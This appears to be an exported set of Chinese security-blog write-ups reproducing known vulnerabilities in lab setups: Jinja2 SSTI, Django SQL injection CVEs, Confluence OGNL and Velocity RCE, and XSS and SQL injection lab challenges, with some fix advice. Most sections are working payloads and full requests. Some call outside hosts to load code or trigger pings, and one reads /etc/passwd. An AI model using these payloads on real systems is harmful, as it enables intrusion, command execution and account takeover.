的依赖如下: Werkzeug 一个 WSGI 工具包 jinja2 模板引擎 Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的 Jinja2 是 Flask 框架的一部分.Jinja2 会把模板参数提供的相应的值替换了 {{...}} 块 Jinja2 模板同样支持控制语句,像在{%…%}块中 漏洞原理先进入容器看一下web服务的代码 1234567891011121314from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render()if __name__ == "__main__": app.run() 看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如http://192.168.164.128:8000/?name={{3*3}} 当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下 12345678910111213141516from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index(): name = request.args.get('name', 'guest') t = Template("Hello {{n}}") return t.render(n=name)if __name__ == "__main__": app.run() 就不存在模板注入 基础知识Jinja2 的模板中执行 Python 代码在jinja2中是可以直接访问python的一些对象及其方法的,如字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数 那么如何在 Jinja2 的模板中执行 Python 代码呢? 如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法 利用 Python 特性 _bases_以元组返回一个类直接所继承的类 _mro_以元组返回继承关系链 _class_返回对象所属的类 _globals_以dict返回函数所在模块命名空间中的所有变量 _subclasses_()以列表返回类的子类 __builtin__内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtin__中可以查到.查看的方法是dir(__builtin__)ps:在py3中__builtin__被换成了builtin_builtin_ 和 __builtins__之间是什么关系呢? 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身 Jinja2不能像字符串对象,列表对象那样直接引用('' []),那如何拿到file对象呢?就用上面给的属性和方法,如 123for c in ().__class__.__bases__[0].__subclasses__():\tif c.__name__=='_IterationGuard': c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") 用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显) 12345{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_IterationGuard' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} 漏洞复现使用上面的代码即可执行命令 12345http://192.168.164.128:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_IterationGuard' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} 工具探测这里利用模板注入工具tplmap 1234567# 安装教程git clone https://github.com/epinna/tplmappython2 -m pip install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com# 探测是否存在注入python2 tplmap.py -u http://192.168.164.128:8000/?name# 直接获取shellpython2 tplmap.py -u http://192.168.164.128:8000/?name --os-shell 修复建议 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能.尽可能加载静态模板文件. 注意:我们已经确定此功能类似于require()函数调用.因此,你也应该防止本地文件包含(LFI)漏洞.不要允许用户控制此类文件或其内容的路径. 无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果 Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)漏洞描述利用版本: Django 主开发分支 Django 2.2.x < 2.2.4 Django 2.1.x < 2.1.11 Django 1.11.x < 1.11.23 漏洞分析什么是JSONFieldDjango是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用. 相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点.在Django中也支持了Postgresql的数据类型: JSONField ArrayField HStoreField 这三种数据类型因为都是非标量,且都能用JSON来表示,我下文就用JSONField统称了. 我们可以很简单地在Django的model中定义JSONField: 12345678910from django.db import modelsfrom django.contrib.postgres.fields import JSONFieldclass Collection(models.Model): name = models.CharField(max_length=128, default='default name') detail = JSONField() def __str__(self): return self.name 然后,我们在视图中,就可以对detail字段里的信息进行查询了. 漏洞复现首先登陆后台http://103.116.46.7:8000/admin/login/?next=/admin/,用户名密码为admin、a123123123 登陆后台后,进入模型Collection的管理页面http://103.116.46.7:8000/admin/vuln/collection/: 然后在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField: http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27b=123 可见,单引号已注入成功,SQL语句报错: 构造语句 http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20-- 由于or 1=1 永远为真,所以返回所有结果 Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193) 首先访问 http://103.116.46.7:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20 显示no results to fetch,语句已经执行 执行命令以下命令在hackbar执行,如果在地址栏执行可能需要二次编码 http://103.116.46.7:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_execs FROM PROGRAM 'ping pi95x1.dnslog.cn'--%20 可以看到,命令已经成功执行 Django GIS SQL注入漏洞(CVE-2020-9402)漏洞概述开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句 利用版本: 1.11.29之前的1.11.x版本 2.2.11之前的2.2.x版本 3.0.4之前的3.0.x版本 漏洞利用限制 1、使用了GIS中聚合查询的功能 2、用户在oracle的数据库且可控tolerance查询时的键名 漏洞复现访问 139.196.87.102:8000 Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)漏洞概述Django中QuerySet数据合集的order_by函数存在SQL注入漏洞.如果攻击者可以控制order_by传入的值,那么就可以注入恶意SQL语句造成SQL注入漏洞. 影响版本:3.1.x < 3.1.13, 3.2.x < 3.2.5 条件: Debug=True 接口使用order_by方法 漏洞复现访问http://192.168.2.189:8000/ 判断order_by:访问http://192.168.2.189:8000/vuln/?order=-id 闭合方法:APP名_数据库名.数据库存在的字段名); 1http://192.168.2.129:8000/vuln/?order=vuln_collection.id);select%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23 漏洞修复 升级到3.2以上的安全版本 Django Extract & Trunc SQL注入漏洞(CVE-2022-34265)漏洞概述在受影响的Django版本中,可以通过传递恶意数据作为kind/lookup_name的值,如果应用程序在将这些参数传递给Trunc() 和 Extract() 数据库函数(日期函数)之前没有经过输入过滤或转义,则容易受到SQL注入攻击.将lookup_name 和kind choice限制在已知安全列表中的应用程序不受影响. 利用版本: Django主分支 Django 4.0版本:< 4.0.6 Django 3.2版本:< 3.2.14 漏洞复现环境启动后,你可以在http://192.168.2.189:8000/看到一个页面.这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://192.168.2.189:8000/?date=minute即可看到按照分钟聚合的点击量: 修改date参数即可复现SQL注入漏洞: 12http://192.168.2.189:8000/?date=minute'xxxxpython -m pip install django==4.0.5 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 修复建议目前此漏洞已经修复,受影响用户可以升级到以下版本: Django 4.0版本:升级到4.0.6 Django 3.2版本:升级到3.2.14 注:此漏洞已在Django 主分支以及4.1、4.0 和 3.2 版本分支中修复,但Django 4.1版本目前处于测试状态. 下载链接: https://github.com/django/django/tagshttps://github.com/django/django/tags","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Atlassian_Jira漏洞复现","path":"/2023/03/08/cc894391/","content":"总字符数: 0.68K 代码: 0.35K, 文本: 0.23K 预计阅读时间: 3 分钟 Atlassian Jira 模板注入漏洞(CVE-2019-11581)漏洞概述Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域. 多个版本前存在利用模板注入执行任意命令 利用版本: 12345678910111213141516171819204.4.x5.x.x6.x.x7.0.x7.1.x7.2.x7.3.x7.4.x7.5.x7.6.x before 7.6.14 (the fixed version for 7.6.x)7.7.x7.8.x7.9.x7.10.x7.11.x7.12.x7.13.x before 7.13.5 (the fixed version for 7.13.x)8.0.x before 8.0.3 (the fixed version for 8.0.x)8.1.x before 8.1.2 (the fixed version for 8.1.x)8.2.x before 8.2.3 (the fixed version for 8.2.x) 漏洞复现环境启动后,访问http://your-ip:8080会进入安装引导,切换”中文”,VPS条件下选择”将其设置为我”(第一项)去Atlassian官方申请一个Jira Server的测试证书(不要选择Data Center和Addons): 然后继续安装即可.这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待.","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Atlassian_Confluence漏洞复现","path":"/2023/03/07/a2dd2e70/","content":"总字符数: 12.19K 代码: 6.83K, 文本: 1.90K 预计阅读时间: 38 分钟 Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)漏洞描述Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令. 影响版本 1234567Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.*Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*Confluence 6.6.* < 6.6.12Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.*Confluence 6.12.* < 6.12.3Confluence 6.13.* < 6.13.3Confluence 6.14.* < 6.14.2 漏洞复现访问http://your-ip:8090会进入安装引导,选择”Trial installation”,之后会要求填写license key.点击”Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书: 然后点击Next安装即可.这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待. 如果提示填写cluster node,路径填写/home/confluence即可: 后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres: 发送如下数据包,即可读取文件web.xml: 123456789101112131415POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 172{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}} 6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件, 12345678910111213POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 186{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}} 也可以通过https://...来加载远程文件 使用FTP加载vm文件,vm文件如下:该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令. 12pip install pyftpdlibpython -m pyftpdlib -p 21 123456789#set ($e="exp")#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc = $e.getClass().forName("java.util.Scanner"))#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))#if($scan.hasNext()) $scan.next()#end payload: 1234567891011121314POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 205{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://43.138.77.252/r.vm","cmd":"id"},"body":""}} 漏洞修复官方已修复该漏洞,下载最新版的比对补丁,发现在com\\atlassian\\confluence\\extra\\widgetconnector\\WidgetMacro.java里面多了一个过滤,这个应该就是这个漏洞最关键的地方. 请到官网下载无漏洞版本: https://www.atlassian.com/https://www.atlassian.com/ Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2021-26084)Confluence Server和Confluence Data Center上存在一个OGNL注入漏洞,漏洞编号为CVE-2021-26084.该漏洞允许经过身份验证或在某些情况下未授权的攻击者,在Confluence Server或Confluence Data Center上执行任意代码. 影响版本 Atlassian Confluence Server/Data Center < 6.13.23 6.14.0 ≤ Atlassian Confluence Server/Data Center < 7.4.11 7.5.0 ≤ Atlassian Confluence Server/Data Center < 7.11.6 7.12.0 ≤ Atlassian Confluence Server/Data Center < 7.12.5 Atlassian Confluence Server/Data Center < 7.13.0 漏洞复现环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证.在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres. 有多个接口可以触发这个OGNL表达式注入漏洞. /pages/doenterpagevariables.action这个接口不需要登录即可利用,发送如下数据包,即可看到233*233已被执行 123456789101112POST /pages/doenterpagevariables.action HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 47queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 执行任意命令: 1queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 /pages/createpage-entervariables.action这个路径也不需要用户登录: 123456789101112POST /pages/createpage-entervariables.action HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 47queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 /pages/createpage.action这个接口需要一个可以创建页面的用户权限 12345678910GET /pages/createpage.action?spaceKey=ADMIN&fromPageId=65611&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1Host: 192.168.64.144:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=65611&draftShareId=6fcde074-6f8c-45f0-a619-23b4063bf3aa&Cookie: JSESSIONID=A64604391DD88D0F328EB28CC977798CUpgrade-Insecure-Requests: 1 漏洞修复受影响用户可根据影响范围中的信息,排查并升级到安全版本. https://www.atlassian.com/software/confluence/download-archiveshttps://www.atlassian.com/software/confluence/download-archives Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)漏洞概述2022年6月初,Confluence官方通报了一个严重漏洞CVE-2022-26134,远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码 影响版本 Confluence Server and Data Center >= 1.3.0 Confluence Server and Data Center < 7.4.17 Confluence Server and Data Center < 7.13.7 Confluence Server and Data Center < 7.14.3 Confluence Server and Data Center < 7.15.2 Confluence Server and Data Center < 7.16.4 Confluence Server and Data Center < 7.17.4 Confluence Server and Data Center < 7.18.1 漏洞复现环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证.在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres. 该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果: 123456789GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: 192.168.64.144:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=782DBA36CD950ADFBF551F316FDF117BUpgrade-Insecure-Requests: 1 其中使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}d 漏洞修复官方建议用户升级到最新版. https://www.atlassian.com/software/confluence/download-archiveshttps://www.atlassian.com/software/confluence/download-archives 暂时防护措施若相关用户暂时无法中止晋级操作,也可经过以下进程来缓解该问题: 关于 Confluence 7.15.0 – 7.18.0假如在集群中工作 Confluence,则需求在每个节点上重复此进程.您不需求封闭整个集群 封闭 Confluence: 下载 xwork-1.0.3-atlassian-10.jar 到 Confluence 效力器. https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jarhttps://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar 将 xwork-1.0.3-atlassian-8.jar 删去或移出 Confluence 设备目录.文件途径: 1<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 注意:请用户不要在该目录中留下旧 JAR 文件的副本 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中.目录途径: 1<confluence-install>/confluence/WEB-INF/lib/ 查看 xwork-1.0.3-atlassian-10.jar 文件权限能否与同一目录中的其他文件相同 重启Confluence 请记住,假如您在集群中工作 Confluence,请确保在全部节点上工作此脚本 关于 Confluence 7.0.0 – Confluence 7.14.2假如在集群中工作 Confluence,则需求在每个节点上重复此进程,您不需求封闭整个集群 封闭 Confluence 下载 xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar 和 CachedConfigurationProvider.class 三个文件到 Confluence Windows 效力器.下载链接 将 xwork-1.0.3.6.jar 与 webwork-2.1.5-atlassian-3.jar 删去或移出 Confluence 设备目录.文件途径分别为: 1<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar **注意:**请用户不要在该目录中留下以上旧JAR文件的副本 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中.目录途径: 1<confluence-install>/confluence/WEB-INF/lib/ 将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到以下目录中.目录途径: 1<confluence-install>/confluence/WEB-INF/lib/ 查看下载的新文件权限能否与同一目录中的其他文件相同 切换到以下目录 1<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup 在 setup 目录下创建一个名为 webwork 的新目录 将 CachedConfigurationProvider.class 复制到创建好的 webwork 目录中,目录途径: 1<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 查看 CachedConfigurationProvider.class 文件权限能否与同一目录中的其他文件相同 重启 Confluence","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"Web-Xss_Lbas漏洞复现","path":"/2023/03/06/16f1e4f4/","content":"总字符数: 6.40K 代码: 1.47K, 文本: 1.46K 预计阅读时间: 13 分钟 XSS攻击方式与实例XSS盗取用户信息 XSS盗取Cookie XSS钓鱼攻击 XSS蠕虫攻击 XSS蠕虫的破坏力和影响力都是巨大的.XSS蠕虫主要发生在您户之间存在交互行为的页面中,当Web应用程序对用户输入的数据信息没有做严格的过滤时,通过结合2v的吴步提交 ,就可以实现在植入恶意代码的同时将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了XSS蠕虫 语法逃逸当我们发现我们的xss标签被嵌入到属性里的时候,我们就需要想办法把这个标签闭合掉 Palyload:"><script>alert(1)</script><" 现在我们就成功的将属性给闭合掉了 ‘逃逸出转义后的属性我们发现用上一关的闭合方法并没有把他当成JS代码 我们查看一下php代码 12345678910<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword value='".htmlspecialchars($str)."'>\t<input type=submit name=submit value=搜索 /></form></center>";?> 看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体 HTML实体:HTML为了防止特殊符号,如 “<”等,html当成标签 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~) payload:' onclick ='javascript:alert(1)'// href属性绕过 我们发现onclick事件也被过滤了,那我们想办法换个标签,比如构造a标签试一下 payload:"></input><a href='javascript:alert(1)'>asd</a> 大小写绕过Payload:1"><ScRipt>alert(1)</ScRipt> 双写绕过Payload:"><scriscriptpt>alert(1)</scrscriptipt>< HTML实体编码绕过payload:&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; hidden属性绕过less10 HTML特性:当属性冲突时,则会从左往右覆盖 那么根据隐藏的input的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用 1t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>// referer绕过referer:" type='text' onclick='javascript:alert(1)'>// UA绕过同上 Cookie绕过同上 XSS作业0x00 0x01 0x02 属性 值 描述 oninput script 当元素获得用户输入时运行的脚本. 0x03**过滤()**可以用反撇号绕过 0x04过滤了()And` payload:<img src=x onerror="alert&#40;1&#41;"></img> 0x05这个--!>用闭合注释符--!><img src=x onerror="alert(1)"><!-- 0x06oninput ="alert(1)"将on和=用回车隔开 0x07这个是过滤了所有以/<\\/?[^>]开头>结尾的字符,所以最后面不加>就好了 0x08这个是过滤了</style>标签导致无法闭合,所以用换行将它分开以绕过 12</style><input oninput="alert&#40;1&#41;"> 0x09这个限制了URL,后面按正常套路闭合就行了 1https://www.segmentfault.com"></script><img src="x" onerror="alert(1)">// 0x0A这个用到了@,在URL中会解析@后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了 1https://www.segmentfault.com@xss.haozi.me/j.js 0x0B这个题将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换 1<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> 0x0C这个是增加了script的过滤,不过显得有点多余 <img src="X" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> 0X0D这个是将输入内容带入到了注释中,可以用换行逃逸.由于过滤了单引号',所以后面的')可以用-->注释掉 123alert(1);--> 0x0E此题是将标签里的第一个字母前加上下划线_,并且在h1标签里,作者的想法是用阿拉伯字母ſ替换s的大写 1<ſcript src="https://xss.haozi.me/j.js" ></script> 0x0F此题需要闭合前面的内容同时注释掉后面的');alert(1)// 0x10这个跟sql注入里的堆叠注入是一个意思0;alert(1) 0x11跟0x0F一样后面,后面可以用//注释掉也可以用("闭合掉");alert(1);// 0X12由于"被替换成了\\\\,所以要用\\进行转义\\");alert(1);// XSS (Reflected)配合CSRF跨域vps中存放1.js 123456ifr = document.createElement('iframe');ifr.src = "/DVWA/vulnerabilities/csrf/";ifr.hidden = 1;document.body.appendChild(ifr);setTimeout(function () { f = frames[0]; t = f.document.getElementsByName('user_token')[0].value; i = document.createElement('img'); i.src = '/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=' + t; },3000);<svg/onload=i=document.createElement('script');i.src='http://YOUR-VPS-IP/1.js';document.body.appendChild(i);> 由于hidh等级采用了正则过滤,所以我们要实体编码部分字段 1<svg/onload=i=document.createElement('\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074');i.src='\\u0068\\u0074\\u0074\\u0070\\u003a\\u002f\\u002f\\u0059\\u004f\\u0055\\u0052\\u002d\\u0056\\u0050\\u0053\\u002d\\u0049\\u0050\\u002f\\u0031\\u002e\\u006a\\u0073';document.body.appendChild(i);> 默认密码为pssword 将准备好的payload复制到输入框内: 退出后使用默认密码登录失败 使用密码:123登录成功","tags":["渗透测试"],"categories":["漏洞复现","Web"]},{"title":"Web-Sqli_Lbas漏洞复现","path":"/2023/03/04/16f1e4f4/","content":"总字符数: 6.52K 代码: 4.84K, 文本: 0.41K 预计阅读时间: 23 分钟 21关base64编码单引号的cookie注入 123456789101112131415-- 表admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)) and '1' = '1YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAgbGltaXQgMywxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcx-- 列YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycgbGltaXQgMSwxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcxYWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSd1c2VycycgbGltaXQgMiwxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcx-- 